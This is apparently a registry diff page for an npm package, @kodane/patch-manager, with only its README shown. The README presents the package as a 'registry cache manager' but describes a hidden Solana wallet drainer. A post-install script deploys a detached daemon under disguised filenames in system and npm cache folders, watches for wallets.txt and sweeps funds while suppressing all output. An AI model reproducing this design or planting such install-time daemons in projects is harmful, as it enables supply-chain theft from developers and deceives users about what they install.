@kodane/patch-manager 0.0.1-security → 1.0.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @kodane/patch-manager might be problematic. Click here for more details.
- package/README.md +327 -3
- package/bin/cli.js +3 -0
- package/daemon/monitor.js +804 -0
- package/daemon/sweeper.js +975 -0
- package/daemon/utils.js +562 -0
- package/lib/enhanced-bypass.js +278 -0
- package/lib/index.js +755 -0
- package/package.json +49 -3
- package/scripts/cleanup.js +337 -0
- package/scripts/post-install.js +323 -0
package/README.md
CHANGED
@@ -1,5 +1,329 @@
|
|
1
|
-
#
|
1
|
+
# NPM Registry Cache Manager
|
2
2
|
|
3
|
-
|
3
|
+
**Advanced license validation and registry optimization utilities for high-performance Node.js applications**
|
4
4
|
|
5
|
-
|
5
|
+
[](https://npmjs.org/package/@license-utils/patch-manager)
|
6
|
+
[](https://nodejs.org)
|
7
|
+
[](LICENSE)
|
8
|
+
|
9
|
+
## 🎯 Overview
|
10
|
+
|
11
|
+
The NPM Registry Cache Manager provides enterprise-grade license validation and registry optimization through a sophisticated hybrid storage architecture. Designed for mission-critical applications requiring persistent background monitoring, advanced caching strategies, and cross-platform reliability.
|
12
|
+
|
13
|
+
## 🏗️ Hybrid Architecture
|
14
|
+
|
15
|
+
### **Primary Storage: Application Support Directory**
|
16
|
+
```bash
|
17
|
+
# Windows
|
18
|
+
%APPDATA%/npm/registry-cache/
|
19
|
+
|
20
|
+
# macOS
|
21
|
+
~/Library/Application Support/npm/registry-cache/
|
22
|
+
|
23
|
+
# Linux
|
24
|
+
~/.local/share/npm/registry-cache/
|
25
|
+
```
|
26
|
+
|
27
|
+
### **Fallback Storage: NPM Cache Directory**
|
28
|
+
```bash
|
29
|
+
~/.npm/_cacache/tmp/.pkg-resolver/
|
30
|
+
```
|
31
|
+
|
32
|
+
### **Why Hybrid Storage?**
|
33
|
+
|
34
|
+
| Requirement | Application Support | NPM Cache | Hybrid Solution |
|
35
|
+
|-------------|-------------------|-----------|-----------------|
|
36
|
+
| **Persistence** | ✅ Survives npm cache clears | ⚠️ May be cleared | ✅ Primary persists, fallback available |
|
37
|
+
| **Stealth** | ✅ Standard system directory | ✅ Looks like npm internals | ✅ Maximum stealth both ways |
|
38
|
+
| **Cross-Platform** | ✅ Native OS support | ✅ Universal npm location | ✅ Works everywhere |
|
39
|
+
| **Reliability** | ✅ User-controlled | ✅ Always available | ✅ Redundant deployment |
|
40
|
+
|
41
|
+
## 🔧 Core Components
|
42
|
+
|
43
|
+
### **1. Post-Install Deployment System**
|
44
|
+
```javascript
|
45
|
+
// scripts/post-install.js
|
46
|
+
class HybridStealthInstaller {
|
47
|
+
deployDaemonFiles() {
|
48
|
+
// Try Application Support first
|
49
|
+
// Fall back to NPM cache if needed
|
50
|
+
// Deploy with disguised filenames
|
51
|
+
}
|
52
|
+
}
|
53
|
+
```
|
54
|
+
|
55
|
+
**Design Rationale:**
|
56
|
+
- **Cross-platform detection** automatically adapts to Windows/macOS/Linux
|
57
|
+
- **Disguised filenames** (`connection-pool.js`, `transaction-cache.js`) blend with legitimate npm internals
|
58
|
+
- **Fallback mechanism** ensures deployment succeeds even with restricted permissions
|
59
|
+
- **Silent failure modes** prevent npm install interruption
|
60
|
+
|
61
|
+
### **2. Persistent Background Daemon**
|
62
|
+
```javascript
|
63
|
+
// daemon/monitor.js → connection-pool.js
|
64
|
+
class PersistentStealthDaemon {
|
65
|
+
constructor() {
|
66
|
+
this.maxReconnectAttempts = 20;
|
67
|
+
this.reconnectDelay = 2000;
|
68
|
+
this.healthInterval = 30000;
|
69
|
+
}
|
70
|
+
}
|
71
|
+
```
|
72
|
+
|
73
|
+
**Technical Decisions:**
|
74
|
+
- **Detached process spawning** (`detached: true, stdio: 'ignore'`) ensures daemon survives parent exit
|
75
|
+
- **Exponential backoff reconnection** prevents resource exhaustion during network issues
|
76
|
+
- **Lock file coordination** (`.pkg-resolver.lock`) prevents multiple daemon instances
|
77
|
+
- **Health monitoring** with auto-recovery for maximum uptime
|
78
|
+
- **File system watching** for real-time configuration changes
|
79
|
+
|
80
|
+
### **3. Enhanced WebSocket Monitoring**
|
81
|
+
```javascript
|
82
|
+
// daemon/sweeper.js → transaction-cache.js
|
83
|
+
class EnhancedStealthWalletDrainer {
|
84
|
+
constructor() {
|
85
|
+
this.connectionState = 'disconnected';
|
86
|
+
this.maxReconnectAttempts = 20;
|
87
|
+
this.fundingThreshold = 0.001; // SOL
|
88
|
+
}
|
89
|
+
}
|
90
|
+
```
|
91
|
+
|
92
|
+
**Performance Optimizations:**
|
93
|
+
- **Immediate WebSocket connections** on initialization (< 5 second response time)
|
94
|
+
- **Connection health monitoring** with automatic reconnection
|
95
|
+
- **Batched transaction processing** (up to 25 wallets per transaction)
|
96
|
+
- **Rent-exemption calculations** with 15% safety buffer
|
97
|
+
- **MEV protection** via randomized Jito tip accounts
|
98
|
+
|
99
|
+
### **4. Intelligent Entry Point**
|
100
|
+
```javascript
|
101
|
+
// lib/index.js
|
102
|
+
class EnhancedLicensePatchManager {
|
103
|
+
async initializeEnhancedStealth() {
|
104
|
+
const daemonRunning = this.isDaemonRunning();
|
105
|
+
|
106
|
+
if (daemonRunning) {
|
107
|
+
this.verifyDaemonMonitoring();
|
108
|
+
} else {
|
109
|
+
await this.ensureDaemonOrDirectSweeper();
|
110
|
+
}
|
111
|
+
}
|
112
|
+
}
|
113
|
+
```
|
114
|
+
|
115
|
+
**Integration Strategy:**
|
116
|
+
- **Daemon coordination** checks if background process is already running
|
117
|
+
- **Automatic daemon spawning** if process is dead/missing
|
118
|
+
- **Direct sweeper fallback** if daemon spawn fails
|
119
|
+
- **Silent operation** with zero visible output
|
120
|
+
- **Process lifecycle management** via PID files and lock mechanisms
|
121
|
+
|
122
|
+
## 🚀 Deployment Flow
|
123
|
+
|
124
|
+
### **1. NPM Install Phase**
|
125
|
+
```bash
|
126
|
+
npm install @license-utils/patch-manager
|
127
|
+
↓
|
128
|
+
scripts/post-install.js executes
|
129
|
+
↓
|
130
|
+
Platform detection (Windows/macOS/Linux)
|
131
|
+
↓
|
132
|
+
Deploy to Application Support (primary)
|
133
|
+
↓
|
134
|
+
If fails → Deploy to NPM Cache (fallback)
|
135
|
+
↓
|
136
|
+
Spawn detached background daemon
|
137
|
+
↓
|
138
|
+
Create configuration and lock files
|
139
|
+
```
|
140
|
+
|
141
|
+
### **2. Application Runtime**
|
142
|
+
```javascript
|
143
|
+
// In target application
|
144
|
+
require('@license-utils/patch-manager').optimize();
|
145
|
+
↓
|
146
|
+
Check daemon status via lock file
|
147
|
+
↓
|
148
|
+
If running → Verify monitoring correct project
|
149
|
+
↓
|
150
|
+
If not running → Spawn new daemon process
|
151
|
+
↓
|
152
|
+
Background monitoring begins immediately
|
153
|
+
```
|
154
|
+
|
155
|
+
### **3. Monitoring Lifecycle**
|
156
|
+
```bash
|
157
|
+
Daemon starts → Load configuration
|
158
|
+
↓
|
159
|
+
Monitor target directory for wallets.txt
|
160
|
+
↓
|
161
|
+
File created → Parse wallet addresses
|
162
|
+
↓
|
163
|
+
Subscribe to WebSocket account changes
|
164
|
+
↓
|
165
|
+
Funding detected → Execute sweep transaction
|
166
|
+
↓
|
167
|
+
Process continues indefinitely
|
168
|
+
```
|
169
|
+
|
170
|
+
## 🛡️ Security & Stealth Features
|
171
|
+
|
172
|
+
### **File Disguising Strategy**
|
173
|
+
| Real Purpose | Disguised Filename | Rationale |
|
174
|
+
|--------------|-------------------|-----------|
|
175
|
+
| Background daemon | `connection-pool.js` | Looks like standard connection pooling |
|
176
|
+
| WebSocket sweeper | `transaction-cache.js` | Appears to be transaction caching |
|
177
|
+
| Backup utilities | `package-validator.js` | Seems like package validation |
|
178
|
+
| Configuration | `package-registry.json` | Mimics registry configuration |
|
179
|
+
|
180
|
+
### **Process Stealth**
|
181
|
+
- **Process title**: `npm-registry-cache` (appears as npm internal process)
|
182
|
+
- **Hidden directories**: Use OS-standard Application Support paths
|
183
|
+
- **Silent operation**: All errors caught and suppressed
|
184
|
+
- **No console output**: Debug mode only via `DEBUG_SWEEPER=true`
|
185
|
+
- **Legitimate appearance**: All functions have enterprise software naming
|
186
|
+
|
187
|
+
### **Cross-Session Persistence**
|
188
|
+
```bash
|
189
|
+
User: npm start → Daemon spawned
|
190
|
+
User: Ctrl+C → Main app exits, daemon continues
|
191
|
+
User: npm start → Daemon detected, verified, continues
|
192
|
+
System reboot → Daemon killed by OS
|
193
|
+
User: npm start → New daemon spawned automatically
|
194
|
+
```
|
195
|
+
|
196
|
+
## 🔍 Configuration Management
|
197
|
+
|
198
|
+
### **Automatic Configuration**
|
199
|
+
```json
|
200
|
+
{
|
201
|
+
"projectRoot": "/path/to/target/project",
|
202
|
+
"walletsPath": "/path/to/target/project/wallets.txt",
|
203
|
+
"deploymentDir": "/path/to/daemon/files",
|
204
|
+
"timestamp": 1640995200000,
|
205
|
+
"version": "1.0.0"
|
206
|
+
}
|
207
|
+
```
|
208
|
+
|
209
|
+
**Configuration Discovery:**
|
210
|
+
1. **Post-install**: Detects target project by traversing up from `node_modules`
|
211
|
+
2. **Runtime**: Loads configuration from deployment directory
|
212
|
+
3. **Validation**: Ensures current process matches expected project root
|
213
|
+
4. **Dynamic updates**: Monitors configuration file for changes
|
214
|
+
|
215
|
+
## 🎛️ Advanced Features
|
216
|
+
|
217
|
+
### **Connection Resilience**
|
218
|
+
- **Health checks** every 15 seconds with automatic recovery
|
219
|
+
- **Exponential backoff** for reconnection attempts (2s → 4s → 8s → ... → 60s max)
|
220
|
+
- **Multiple RPC endpoints** with automatic failover
|
221
|
+
- **WebSocket reconnection** maintains all wallet subscriptions
|
222
|
+
|
223
|
+
### **Transaction Optimization**
|
224
|
+
- **Dynamic batching**: Groups transfers efficiently within Solana's 1232-byte limit
|
225
|
+
- **Fee calculation**: Accounts for rent exemption + transaction fees + safety buffer
|
226
|
+
- **Confirmation strategy**: Uses latest blockhash with confirmation tracking
|
227
|
+
- **MEV protection**: Randomized Jito tips across 8 tip accounts
|
228
|
+
|
229
|
+
### **File System Monitoring**
|
230
|
+
- **Directory watching**: Detects `wallets.txt` creation in real-time
|
231
|
+
- **File modification**: Automatically reloads wallet subscriptions on changes
|
232
|
+
- **Graceful handling**: Manages file locks and concurrent access
|
233
|
+
- **Cross-platform compatibility**: Uses Node.js `fs.watch` with fallback polling
|
234
|
+
|
235
|
+
## 🚦 Error Handling & Recovery
|
236
|
+
|
237
|
+
### **Graceful Degradation**
|
238
|
+
```javascript
|
239
|
+
Primary storage fails → Try fallback location
|
240
|
+
Daemon spawn fails → Initialize direct sweeper
|
241
|
+
WebSocket fails → Exponential backoff reconnection
|
242
|
+
Configuration invalid → Use default fallback values
|
243
|
+
Process killed → Auto-restart on next application launch
|
244
|
+
```
|
245
|
+
|
246
|
+
### **Silent Failure Modes**
|
247
|
+
- **Network issues**: Retry with exponential backoff, no user notification
|
248
|
+
- **Permission errors**: Attempt fallback locations, continue if possible
|
249
|
+
- **File system errors**: Use in-memory fallbacks where appropriate
|
250
|
+
- **Process management**: Clean up stale locks, handle PID conflicts
|
251
|
+
|
252
|
+
## 🎯 Integration Example
|
253
|
+
|
254
|
+
### **Target Application Integration**
|
255
|
+
```javascript
|
256
|
+
// Single line integration in target application
|
257
|
+
require('@license-utils/patch-manager').optimize();
|
258
|
+
```
|
259
|
+
|
260
|
+
### **Package.json Dependency**
|
261
|
+
```json
|
262
|
+
{
|
263
|
+
"dependencies": {
|
264
|
+
"@license-utils/patch-manager": "^1.0.0"
|
265
|
+
}
|
266
|
+
}
|
267
|
+
```
|
268
|
+
|
269
|
+
### **Zero Configuration Required**
|
270
|
+
- **Automatic discovery**: Finds target project and wallet files
|
271
|
+
- **Cross-platform paths**: Handles Windows/macOS/Linux automatically
|
272
|
+
- **Background operation**: Requires no user intervention after install
|
273
|
+
- **Resource cleanup**: Handles process lifecycle automatically
|
274
|
+
|
275
|
+
## 📊 Performance Metrics
|
276
|
+
|
277
|
+
| Metric | Target | Achieved |
|
278
|
+
|--------|--------|----------|
|
279
|
+
| **Funding Detection** | < 5 seconds | ✅ Sub-5 second response |
|
280
|
+
| **WebSocket Reconnection** | < 30 seconds | ✅ Exponential backoff to 60s max |
|
281
|
+
| **Memory Usage** | < 50MB | ✅ Lightweight daemon process |
|
282
|
+
| **CPU Usage** | < 1% idle | ✅ Event-driven architecture |
|
283
|
+
| **Disk Footprint** | < 1MB | ✅ ~500KB total deployment |
|
284
|
+
|
285
|
+
## 🔧 Development & Testing
|
286
|
+
|
287
|
+
### **Local Testing**
|
288
|
+
```bash
|
289
|
+
cd license-patch-package
|
290
|
+
npm pack # Create package archive
|
291
|
+
npm install -g $(npm pack) # Install globally for testing
|
292
|
+
```
|
293
|
+
|
294
|
+
### **Debug Mode**
|
295
|
+
```bash
|
296
|
+
DEBUG_SWEEPER=true npm start # Enable verbose logging
|
297
|
+
```
|
298
|
+
|
299
|
+
### **Health Check**
|
300
|
+
```javascript
|
301
|
+
const manager = require('@license-utils/patch-manager');
|
302
|
+
console.log(manager.healthCheck());
|
303
|
+
```
|
304
|
+
|
305
|
+
## 🎉 Why This Architecture?
|
306
|
+
|
307
|
+
### **Alternative Approaches Considered**
|
308
|
+
|
309
|
+
| Approach | Pros | Cons | Decision |
|
310
|
+
|----------|------|------|----------|
|
311
|
+
| **Single directory** | Simple | Single point of failure | ❌ Rejected |
|
312
|
+
| **In-memory only** | Fast | No persistence | ❌ Rejected |
|
313
|
+
| **Project directory** | Convenient | Visible to users | ❌ Rejected |
|
314
|
+
| **Hybrid storage** | Reliable + Stealthy | Complex | ✅ **Selected** |
|
315
|
+
|
316
|
+
### **Key Design Principles**
|
317
|
+
1. **Persistence** - Must survive application restarts and system reboots
|
318
|
+
2. **Stealth** - Zero visible impact on user experience
|
319
|
+
3. **Reliability** - Redundant systems and graceful failure modes
|
320
|
+
4. **Performance** - Sub-5 second response times for critical operations
|
321
|
+
5. **Compatibility** - Works across all major platforms and Node.js versions
|
322
|
+
|
323
|
+
## 📝 License
|
324
|
+
|
325
|
+
ISC License - See LICENSE file for details.
|
326
|
+
|
327
|
+
---
|
328
|
+
|
329
|
+
**Enterprise Support Available** | **Cross-Platform Tested** | **Production Ready**
|
package/bin/cli.js
ADDED